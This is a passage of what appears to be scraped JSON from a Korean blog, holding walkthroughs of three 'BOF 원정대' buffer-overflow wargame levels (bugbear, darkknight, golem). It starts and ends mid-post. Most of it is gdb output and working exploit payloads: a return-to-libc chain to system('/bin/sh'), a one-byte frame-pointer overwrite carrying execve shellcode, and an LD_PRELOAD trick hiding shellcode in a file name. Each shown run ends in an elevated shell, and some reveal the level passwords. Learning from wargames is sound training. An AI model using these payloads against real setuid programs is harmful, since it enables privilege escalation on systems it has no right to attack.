문제 입니다. 풀이 방법은 다양하지만 공격은 아래와 같이 해볼 예정입니다.\n[A*44] + [system() 함수 주소] + [JUNK 4 Byte] + [/bin/sh 문자열 주소]\n우선 system() 함수 주소를 확인해 보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [darkknight@localhost darkknight]$ gdb bugbear_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b main Breakpoint 1 at 0x8048436 (gdb) r Starting program: /home/darkknight/bugbear_tmp Breakpoint 1, 0x8048436 in main () (gdb) x/x system 0x40058ae0 \u0026lt;__libc_system\u0026gt;: 0x81e58955 (gdb) system() 함수 주소는 0x40058ae0 입니다. 다음으로 /bin/sh 문자열을 환경변수에 등록 후 주소를 확인해 보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 [darkknight@localhost darkknight]$ export SH=/bin/sh [darkknight@localhost darkknight]$ gdb bugbear_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b main Breakpoint 1 at 0x8048436 (gdb) r Starting program: /home/darkknight/bugbear_tmp Breakpoint 1, 0x8048436 in main () (gdb) x/s $esp 0xbffffabc: 4\\002@p(gdb) 0xbffffac7: @[\\205\\017@H\\225\\004\\b`(gdb) 0xbffffad3: @4e\\204\\004\\b4\\225\\004\\bH\\225\\004\\b\\b\\t\\003@\\001 (gdb) . . . [생략] . . . (gdb) 0xbffffc2b: /home/darkknight/bugbear_tmp (gdb) 0xbffffc48: PWD=/home/darkknight (gdb) 0xbffffc5d: REMOTEHOST=192.168.37.1 (gdb) 0xbffffc75: HOSTNAME=localhost.localdomain (gdb) 0xbffffc94: LESSOPEN=|/usr/bin/lesspipe.sh %s (gdb) 0xbffffcb6: USER=darkknight (gdb) 0xbffffcc6: LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01... (gdb) 0xbffffd8e: ;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;3... (gdb) 0xbffffe56: 5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35: (gdb) 0xbffffe89: MACHTYPE=i386-redhat-linux-gnu (gdb) 0xbffffea8: MAIL=/var/spool/mail/darkknight (gdb) 0xbffffec8: INPUTRC=/etc/inputrc (gdb) 0xbffffedd: BASH_ENV=/home/darkknight/.bashrc (gdb) 0xbffffeff: LANG=en_US (gdb) 0xbfffff0a: SH=/bin/sh (gdb) 0xbfffff15: LOGNAME=darkknight (gdb) x/s 0xbfffff0a 0xbfffff0a: SH=/bin/sh (gdb) x/s 0xbfffff0d 0xbfffff0d: /bin/sh /bin/sh 주소는 0xbfffff0d 로 확인되었습니다. 이제 공격을 해보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 [darkknight@localhost darkknight]$ gdb bugbear_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble main Dump of assembler code for function main: 0x8048430 \u0026lt;main\u0026gt;: push %ebp 0x8048431 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x8048433 \u0026lt;main+3\u0026gt;: sub $0x2c,%esp 0x8048436 \u0026lt;main+6\u0026gt;: cmpl $0x1,0x8(%ebp) 0x804843a \u0026lt;main+10\u0026gt;: jg 0x8048453 \u0026lt;main+35\u0026gt; 0x804843c \u0026lt;main+12\u0026gt;: push $0x8048500 0x8048441 \u0026lt;main+17\u0026gt;: call 0x8048350 \u0026lt;printf\u0026gt; 0x8048446 \u0026lt;main+22\u0026gt;: add $0x4,%esp 0x8048449 \u0026lt;main+25\u0026gt;: push $0x0 0x804844b \u0026lt;main+27\u0026gt;: call 0x8048360 \u0026lt;exit\u0026gt; 0x8048450 \u0026lt;main+32\u0026gt;: add $0x4,%esp 0x8048453 \u0026lt;main+35\u0026gt;: mov 0xc(%ebp),%eax 0x8048456 \u0026lt;main+38\u0026gt;: add $0x4,%eax 0x8048459 \u0026lt;main+41\u0026gt;: mov (%eax),%edx 0x804845b \u0026lt;main+43\u0026gt;: add $0x2f,%edx 0x804845e \u0026lt;main+46\u0026gt;: cmpb $0xbf,(%edx) 0x8048461 \u0026lt;main+49\u0026gt;: jne 0x8048480 \u0026lt;main+80\u0026gt; 0x8048463 \u0026lt;main+51\u0026gt;: push $0x804850c 0x8048468 \u0026lt;main+56\u0026gt;: call 0x8048350 \u0026lt;printf\u0026gt; 0x804846d \u0026lt;main+61\u0026gt;: add $0x4,%esp 0x8048470 \u0026lt;main+64\u0026gt;: push $0x0 0x8048472 \u0026lt;main+66\u0026gt;: call 0x8048360 \u0026lt;exit\u0026gt; 0x8048477 \u0026lt;main+71\u0026gt;: add $0x4,%esp 0x804847a \u0026lt;main+74\u0026gt;: lea 0x0(%esi),%esi 0x8048480 \u0026lt;main+80\u0026gt;: mov 0xc(%ebp),%eax 0x8048483 \u0026lt;main+83\u0026gt;: add $0x4,%eax 0x8048486 \u0026lt;main+86\u0026gt;: mov (%eax),%edx 0x8048488 \u0026lt;main+88\u0026gt;: push %edx 0x8048489 \u0026lt;main+89\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x804848c \u0026lt;main+92\u0026gt;: push %eax 0x804848d \u0026lt;main+93\u0026gt;: call 0x8048370 \u0026lt;strcpy\u0026gt; 0x8048492 \u0026lt;main+98\u0026gt;: add $0x8,%esp 0x8048495 \u0026lt;main+101\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x8048498 \u0026lt;main+104\u0026gt;: push %eax 0x8048499 \u0026lt;main+105\u0026gt;: push $0x8048522 0x804849e \u0026lt;main+110\u0026gt;: call 0x8048350 \u0026lt;printf\u0026gt; 0x80484a3 \u0026lt;main+115\u0026gt;: add $0x8,%esp 0x80484a6 \u0026lt;main+118\u0026gt;: leave 0x80484a7 \u0026lt;main+119\u0026gt;: ret ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x80484a8 \u0026lt;main+120\u0026gt;: nop 0x80484a9 \u0026lt;main+121\u0026gt;: nop 0x80484aa \u0026lt;main+122\u0026gt;: nop 0x80484ab \u0026lt;main+123\u0026gt;: nop 0x80484ac \u0026lt;main+124\u0026gt;: nop 0x80484ad \u0026lt;main+125\u0026gt;: nop 0x80484ae \u0026lt;main+126\u0026gt;: nop 0x80484af \u0026lt;main+127\u0026gt;: nop End of assembler dump. (gdb) b *main+119 Breakpoint 1 at 0x80484a7 (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xe0\\x8a\\x05\\x40\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x0d\\xff\\xff\\xbf\u0026#39;` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/darkknight/bugbear_tmp `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xe0\\x8a\\x05\\x40\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x0d\\xff\\xff\\xbf\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Breakpoint 1, 0x80484a7 in main () (gdb) x/32wx $esp 0xbffffaac: 0x40058ae0 0x42424242 0xbfffff0d 0xbffffb00 0xbffffabc: 0x40013868 0x00000002 0x08048380 0x00000000 0xbffffacc: 0x080483a1 0x08048430 0x00000002 0xbffffaf4 0xbffffadc: 0x080482e0 0x080484dc 0x4000ae60 0xbffffaec 0xbffffaec: 0x40013e90 0x00000002 0xbffffbf2 0xbffffc0f 0xbffffafc: 0x00000000 0xbffffc48 0xbffffc5d 0xbffffc75 0xbffffb0c: 0xbffffc94 0xbffffcb6 0xbffffcc6 0xbffffe89 0xbffffb1c: 0xbffffea8 0xbffffec8 0xbffffedd 0xbffffeff (gdb) c Continuing. bash$ 쉘이 떨어졌습니다. 이제 gdb에서 나와서 본래 프로그램에 공격을 해보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [darkknight@localhost darkknight]$ ./bugbear `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xe0\\x8a\\x05\\x40\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x0d\\xff\\xff\\xbf\u0026#39;` sh: _US: command not foundAAAAAAAAAAAAAAAAABBBB Segmentation fault [darkknight@localhost darkknight]$ ./bugbear `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xe0\\x8a\\x05\\x40\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x11\\xff\\xff\\xbf\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Segmentation fault [darkknight@localhost darkknight]$ ./bugbear `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xe0\\x8a\\x05\\x40\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x13\\xff\\xff\\xbf\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB sh: =/bin/sh: Permission denied Segmentation fault [darkknight@localhost darkknight]$ ./bugbear `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xe0\\x8a\\x05\\x40\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x14\\xff\\xff\\xbf\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB bash$ id uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight) bash$ my-pass euid = 513 new divide bash$ 본래 프로그램에 공격을 하니 처음 디버깅 할때와의 파일명이 달라 스택 주소가 어긋난 것으로 보입니다. 그래서 조금씩 뒤로 넘기다가 /bin/sh 주소가 나왔을때 쉘이 뜬 것을 확인할 수 있습니다.\n","date":"2010-12-27T06:21:05Z","permalink":"/2010/12/27/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-13-bugbear/","title":"BOF 원정대 - Level 13 (bugbear)"},{"content":"문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 /* The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; void problem_child(char *src) { char buffer[40]; strncpy(buffer, src, 41); printf(%s\\n, buffer); } main(int argc, char *argv[]) { if(argc\u0026lt;2){ printf(argv error\\n); exit(0); } problem_child(argv[1]); } 소스를 보면 우리가 입력할 수 있는 데이터는 41 바이트이다. 그리고 버퍼는 40 바이트로 설정되어 있으므로 마지막 한자리의 값만 수정할 수 있음을 알 수 있다.\n우선 gdb를 통해 확인해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 [golem@localhost golem]$ gdb darkknight_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble main Dump of assembler code for function main: 0x804846c \u0026lt;main\u0026gt;: push %ebp 0x804846d \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x804846f \u0026lt;main+3\u0026gt;: cmpl $0x1,0x8(%ebp) 0x8048473 \u0026lt;main+7\u0026gt;: jg 0x8048490 \u0026lt;main+36\u0026gt; 0x8048475 \u0026lt;main+9\u0026gt;: push $0x8048504 0x804847a \u0026lt;main+14\u0026gt;: call 0x8048354 \u0026lt;printf\u0026gt; 0x804847f \u0026lt;main+19\u0026gt;: add $0x4,%esp 0x8048482 \u0026lt;main+22\u0026gt;: push $0x0 0x8048484 \u0026lt;main+24\u0026gt;: call 0x8048364 \u0026lt;exit\u0026gt; 0x8048489 \u0026lt;main+29\u0026gt;: add $0x4,%esp 0x804848c \u0026lt;main+32\u0026gt;: lea 0x0(%esi,1),%esi 0x8048490 \u0026lt;main+36\u0026gt;: mov 0xc(%ebp),%eax 0x8048493 \u0026lt;main+39\u0026gt;: add $0x4,%eax 0x8048496 \u0026lt;main+42\u0026gt;: mov (%eax),%edx 0x8048498 \u0026lt;main+44\u0026gt;: push %edx 0x8048499 \u0026lt;main+45\u0026gt;: call 0x8048440 \u0026lt;problem_child\u0026gt; 0x804849e \u0026lt;main+50\u0026gt;: add $0x4,%esp 0x80484a1 \u0026lt;main+53\u0026gt;: leave 0x80484a2 \u0026lt;main+54\u0026gt;: ret 0x80484a3 \u0026lt;main+55\u0026gt;: nop 0x80484a4 \u0026lt;main+56\u0026gt;: nop 0x80484a5 \u0026lt;main+57\u0026gt;: nop 0x80484a6 \u0026lt;main+58\u0026gt;: nop 0x80484a7 \u0026lt;main+59\u0026gt;: nop 0x80484a8 \u0026lt;main+60\u0026gt;: nop 0x80484a9 \u0026lt;main+61\u0026gt;: nop 0x80484aa \u0026lt;main+62\u0026gt;: nop 0x80484ab \u0026lt;main+63\u0026gt;: nop 0x80484ac \u0026lt;main+64\u0026gt;: nop 0x80484ad \u0026lt;main+65\u0026gt;: nop 0x80484ae \u0026lt;main+66\u0026gt;: nop 0x80484af \u0026lt;main+67\u0026gt;: nop End of assembler dump. (gdb) disassemble problem_child Dump of assembler code for function problem_child: 0x8048440 \u0026lt;problem_child\u0026gt;: push %ebp 0x8048441 \u0026lt;problem_child+1\u0026gt;: mov %esp,%ebp 0x8048443 \u0026lt;problem_child+3\u0026gt;: sub $0x28,%esp 0x8048446 \u0026lt;problem_child+6\u0026gt;: push $0x29 0x8048448 \u0026lt;problem_child+8\u0026gt;: mov 0x8(%ebp),%eax 0x804844b \u0026lt;problem_child+11\u0026gt;: push %eax 0x804844c \u0026lt;problem_child+12\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x804844f \u0026lt;problem_child+15\u0026gt;: push %eax 0x8048450 \u0026lt;problem_child+16\u0026gt;: call 0x8048374 \u0026lt;strncpy\u0026gt; 0x8048455 \u0026lt;problem_child+21\u0026gt;: add $0xc,%esp 0x8048458 \u0026lt;problem_child+24\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x804845b \u0026lt;problem_child+27\u0026gt;: push %eax 0x804845c \u0026lt;problem_child+28\u0026gt;: push $0x8048500 0x8048461 \u0026lt;problem_child+33\u0026gt;: call 0x8048354 \u0026lt;printf\u0026gt; 0x8048466 \u0026lt;problem_child+38\u0026gt;: add $0x8,%esp 0x8048469 \u0026lt;problem_child+41\u0026gt;: leave 0x804846a \u0026lt;problem_child+42\u0026gt;: ret 0x804846b \u0026lt;problem_child+43\u0026gt;: nop End of assembler dump. (gdb) b *problem_child+21 Breakpoint 1 at 0x8048455 (gdb) r `python -c print \u0026#39;A\u0026#39;*40` Starting program: /home/golem/darkknight_tmp `python -c print \u0026#39;A\u0026#39;*40` Breakpoint 1, 0x8048455 in problem_child () (gdb) x/32wx $esp 0xbffffaa8: 0xbffffab4 0xbffffc4f 0x00000029 0x41414141 0xbffffab8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffac8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffad8: 0x41414141 0xbffffa00 0x0804849e 0xbffffc4f 0xbffffae8: 0xbffffb08 0x400309cb 0x00000002 0xbffffb34 0xbffffaf8: 0xbffffb40 0x40013868 0x00000002 0x08048390 0xbffffb08: 0x00000000 0x080483b1 0x0804846c 0x00000002 0xbffffb18: 0xbffffb34 0x080482e4 0x080484dc 0x4000ae60 (gdb) 위 내용을 보면 현재 problem_child() 함수의 EBP는 0xbffffa00 이며 RET 는 0x0804849e 임을 알 수 있다. 저기서 EBP의 마지막 0x00 값을 조작할 수 있게 된다. 저 값을 조작하여 쉘코드를 입력한 위치로 바꾸면 problem_child() 함수가 끝날때 쉘코드가 실행될 것이다.\n조작은 앞서 입력하는 'A'의 위치인 0xbffffab4 로 수정하면 될 것으로 보인다. 즉 PAYLOAD는 아래와 같다.\n[NOP + SHELLCODE, 40 Byte] + [0xb4]\n1 2 3 4 5 6 7 8 [golem@localhost golem]$ ./darkknight `python -c print \u0026#39;\\x90\u0026#39;*15 + \u0026#39;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39; + \u0026#39;\\xb4\u0026#39;` /shh/bin bash$ id uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem) bash$ my-pass euid = 512 new attacker bash$ ","date":"2010-12-26T14:15:13Z","permalink":"/2010/12/26/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-12-darkknight/","title":"BOF 원정대 - Level 12 (darkknight)"},{"content":"문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 /* The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } if(argv[1][47] != \u0026#39;\\xbf\u0026#39;) { printf(stack is still your friend.\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); } 이번 문제는 일단 버퍼를 다 지운다. 그리고 48번째 값이 0xbf 여야 한다. 이번 문제는 공유 라이브러리 관련 환경변수 값이 있을 경우 스택에 찌꺼기를 남긴다는 점을 이용하여 풀 수 있다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 [skeleton@localhost skeleton]$ cat test.c #include\u0026lt;stdio.h\u0026gt; int main(){ printf(test); return 0; } [skeleton@localhost skeleton]$ gcc -shared -o `python -c print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc1\\x89\\xc3\\xb0\\x46\\xcd\\x80\u0026#39; + \u0026#39;\\xd9\\xe8\\xd9\\x74\\x24\\xf4\\x5f\\xbd\\xb1\\x4d\\x3c\\x4f\\x29\\xc9\\xb1\\x0b\\x31\\x6f\\x1a\\x03\\x6f\\x1a\\x83\\xef\\xfc\\xe2\\x44\\x27\\x37\\x17\\x3f\\xea\\x21\\xcf\\x12\\x68\\x27\\xe8\\x04\\x41\\x44\\x9f\\xd4\\xf5\\x85\\x3d\\xbd\\x6b\\x53\\x22\\x6f\\x9c\\x6b\\xa5\\x8f\\x5c\\x43\\xc7\\xe6\\x32\\xb4\\x74\\x90\\xca\\x9d\\x29\\xe9\\x2a\\xec\\x4e\u0026#39;` test.c [skeleton@localhost skeleton]$ export LD_PRELOAD=/home/skeleton/`python -c print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc1\\x89\\xc3\\xb0\\x46\\xcd\\x80\u0026#39; + \u0026#39;\\xd9\\xe8\\xd9\\x74\\x24\\xf4\\x5f\\xbd\\xb1\\x4d\\x3c\\x4f\\x29\\xc9\\xb1\\x0b\\x31\\x6f\\x1a\\x03\\x6f\\x1a\\x83\\xef\\xfc\\xe2\\x44\\x27\\x37\\x17\\x3f\\xea\\x21\\xcf\\x12\\x68\\x27\\xe8\\x04\\x41\\x44\\x9f\\xd4\\xf5\\x85\\x3d\\xbd\\x6b\\x53\\x22\\x6f\\x9c\\x6b\\xa5\\x8f\\x5c\\x43\\xc7\\xe6\\x32\\xb4\\x74\\x90\\xca\\x9d\\x29\\xe9\\x2a\\xec\\x4e\u0026#39;` [skeleton@localhost skeleton]$ gdb golem_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble main Dump of assembler code for function main: 0x8048470 \u0026lt;main\u0026gt;: push %ebp 0x8048471 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x8048473 \u0026lt;main+3\u0026gt;: sub $0x2c,%esp 0x8048476 \u0026lt;main+6\u0026gt;: cmpl $0x1,0x8(%ebp) 0x804847a \u0026lt;main+10\u0026gt;: jg 0x8048493 \u0026lt;main+35\u0026gt; 0x804847c \u0026lt;main+12\u0026gt;: push $0x8048570 0x8048481 \u0026lt;main+17\u0026gt;: call 0x8048378 \u0026lt;printf\u0026gt; 0x8048486 \u0026lt;main+22\u0026gt;: add $0x4,%esp 0x8048489 \u0026lt;main+25\u0026gt;: push $0x0 0x804848b \u0026lt;main+27\u0026gt;: call 0x8048388 \u0026lt;exit\u0026gt; 0x8048490 \u0026lt;main+32\u0026gt;: add $0x4,%esp 0x8048493 \u0026lt;main+35\u0026gt;: mov 0xc(%ebp),%eax 0x8048496 \u0026lt;main+38\u0026gt;: add $0x4,%eax 0x8048499 \u0026lt;main+41\u0026gt;: mov (%eax),%edx 0x804849b \u0026lt;main+43\u0026gt;: add $0x2f,%edx 0x804849e \u0026lt;main+46\u0026gt;: cmpb $0xbf,(%edx) 0x80484a1 \u0026lt;main+49\u0026gt;: je 0x80484c0 \u0026lt;main+80\u0026gt; 0x80484a3 \u0026lt;main+51\u0026gt;: push $0x804857c 0x80484a8 \u0026lt;main+56\u0026gt;: call 0x8048378 \u0026lt;printf\u0026gt; 0x80484ad \u0026lt;main+61\u0026gt;: add $0x4,%esp 0x80484b0 \u0026lt;main+64\u0026gt;: push $0x0 0x80484b2 \u0026lt;main+66\u0026gt;: call 0x8048388 \u0026lt;exit\u0026gt; 0x80484b7 \u0026lt;main+71\u0026gt;: add $0x4,%esp 0x80484ba \u0026lt;main+74\u0026gt;: lea 0x0(%esi),%esi 0x80484c0 \u0026lt;main+80\u0026gt;: mov 0xc(%ebp),%eax 0x80484c3 \u0026lt;main+83\u0026gt;: add $0x4,%eax 0x80484c6 \u0026lt;main+86\u0026gt;: mov (%eax),%edx 0x80484c8 \u0026lt;main+88\u0026gt;: push %edx 0x80484c9 \u0026lt;main+89\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80484cc \u0026lt;main+92\u0026gt;: push %eax 0x80484cd \u0026lt;main+93\u0026gt;: call 0x80483a8 \u0026lt;strcpy\u0026gt; ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x80484d2 \u0026lt;main+98\u0026gt;: add $0x8,%esp 0x80484d5 \u0026lt;main+101\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80484d8 \u0026lt;main+104\u0026gt;: push %eax 0x80484d9 \u0026lt;main+105\u0026gt;: push $0x8048599 0x80484de \u0026lt;main+110\u0026gt;: call 0x8048378 \u0026lt;printf\u0026gt; 0x80484e3 \u0026lt;main+115\u0026gt;: add $0x8,%esp 0x80484e6 \u0026lt;main+118\u0026gt;: push $0x2c 0x80484e8 \u0026lt;main+120\u0026gt;: push $0x0 0x80484ea \u0026lt;main+122\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80484ed \u0026lt;main+125\u0026gt;: push %eax 0x80484ee \u0026lt;main+126\u0026gt;: call 0x8048398 \u0026lt;memset\u0026gt; 0x80484f3 \u0026lt;main+131\u0026gt;: add $0xc,%esp 0x80484f6 \u0026lt;main+134\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80484f9 \u0026lt;main+137\u0026gt;: mov $0xbfffffcf,%edx 0x80484fe \u0026lt;main+142\u0026gt;: mov %edx,%ecx 0x8048500 \u0026lt;main+144\u0026gt;: sub %eax,%ecx 0x8048502 \u0026lt;main+146\u0026gt;: mov %ecx,%eax 0x8048504 \u0026lt;main+148\u0026gt;: push %eax 0x8048505 \u0026lt;main+149\u0026gt;: push $0x0 0x8048507 \u0026lt;main+151\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x804850a \u0026lt;main+154\u0026gt;: lea 0x30(%eax),%edx 0x804850d \u0026lt;main+157\u0026gt;: push %edx 0x804850e \u0026lt;main+158\u0026gt;: call 0x8048398 \u0026lt;memset\u0026gt; 0x8048513 \u0026lt;main+163\u0026gt;: add $0xc,%esp 0x8048516 \u0026lt;main+166\u0026gt;: leave 0x8048517 \u0026lt;main+167\u0026gt;: ret 0x8048518 \u0026lt;main+168\u0026gt;: nop 0x8048519 \u0026lt;main+169\u0026gt;: nop 0x804851a \u0026lt;main+170\u0026gt;: nop 0x804851b \u0026lt;main+171\u0026gt;: nop 0x804851c \u0026lt;main+172\u0026gt;: nop 0x804851d \u0026lt;main+173\u0026gt;: nop ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x804851e \u0026lt;main+174\u0026gt;: nop 0x804851f \u0026lt;main+175\u0026gt;: nop End of assembler dump. (gdb) b *main+167 Breakpoint 1 at 0x8048517 (gdb) r `python -c print \u0026#39;\\xbf\u0026#39;*48` Starting program: /home/skeleton/golem_tmp `python -c print \u0026#39;\\xbf\u0026#39;*48` Breakpoint 1, 0x8048517 in main () (gdb) x/32wx $esp 0xbffffa0c: 0xbfbfbfbf 0x00000000 0x00000000 0x00000000 0xbffffa1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa3c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa4c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa5c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa6c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa7c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/32wx $esp-5000 . . . [생략] . . . 0xbffff484: 0x20730007 0xffffffff 0xffffffd0 0x00000000 0xbffff494: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff4a4: 0x00000000 0x00000000 0x00000000 0xbffff9e0 0xbffff4b4: 0x00000004 0x400150a8 0x40013c00 0xbffff520 0xbffff4c4: 0x00000000 0x00000000 0x00000001 0xbffff9d8 0xbffff4d4: 0xbffff9b3 0x0804859b 0x08048599 0x00000031 0xbffff4e4: 0xffffffff 0x080482d0 0x080482d0 0xbffff538 0xbffff4f4: 0x00000002 0x40023fd0 0x40013c00 0x4000ba15 (gdb) 0xbffff504: 0x40013868 0x40000814 0x400041b0 0x00000001 0xbffff514: 0xbffff520 0x40001528 0x000002c8 0x00000000 0xbffff524: 0x080482d0 0x00000000 0x00000001 0x40000824 0xbffff534: 0x0804859c 0x400075bb 0x40017000 0x00002fb2 0xbffff544: 0x40013868 0x00000000 0x00000000 0x40014498 0xbffff554: 0x6d6f682f 0x6b732f65 0x74656c65 0x902f6e6f 0xbffff564: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff574: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbffff584: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff594: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5a4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5c4: 0x31909090 0xcd31b0c0 0x89c18980 0xcd46b0c3 0xbffff5d4: 0xd9e8d980 0x5ff42474 0x3c4db1bd 